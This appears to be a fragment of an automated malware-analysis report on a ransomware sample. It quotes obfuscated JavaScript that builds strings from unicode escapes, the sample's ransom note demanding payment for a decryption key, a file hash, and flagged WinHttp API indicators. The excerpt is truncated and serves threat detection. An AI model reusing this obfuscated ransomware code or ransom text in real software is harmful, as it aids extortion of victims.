35:T475,"\u0038'}.ui0+{ucl2:'\u0039'}.ucl2+{lyc3:'\u0039'}.lyc3+{MPT0:'\u0038'}.MPT0+{uc0:'\u0036'}.uc0+{eri2:'\u0040'}.eri2+{i1:'\u006d'}.i1+{h3:'\u0061'}.h3+{av1:([][[]]+[])['sub'+'str'](5,1)}.av1+{ol2:'\u006c'}.ol2+{att1:'\u002e'}.att1+{o1:'\u006b'}.o1+{o2:'\u007a'}.o2;var \u006d\u0065\u0073\u0073\u0061\u0067\u0065\u0034\u0035='

Hello. Your UID: fatemonomers0
Its evil ransomware. As you can see some of your files have been encrypted!
Encryption was made using a unique strongest AES key.
If you want restore your files you need to BUY (sorry, nothing personal, its just business) the private key, send me your UID to emailhere
List of encrypted files

';var \u0063\u006f\u006c\u0044\u0072\u0069\u0076\u0065\u0073 = fateaway4[{t1:'\u0044'}.t1+{o2:'\u0072'}.o2+{t3:([][[]]+[])['sub'+'str'](5,1)}.t3+{re0:'\u0076'}.re0+{ase3:([][[]]+[])['s'+'ub'+'s'+'tr'](4-1,2-1)}.ase3+{yp2:('opssi')['s'+'u'+'b'+'s'+" (Source: b75b3ff65632b65d1d641075bd2f5ed0ede93da3a35d7f50068b9371ee5c4552, Indicator: "files have been encrypted")36:T457,Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00005892-00000C26-1980121833") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00005892-00000C26-1980122296") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00005892-00000C26-1980122765") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00005892-00000C26-1980122765") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00005892-00000C26-1980122765") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00005892-00000C26-1980123681") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00005892-00000C26-1980123681") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00005892-00000C26-1980125030") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00005892-00000C26-1980125479")37:T5b9,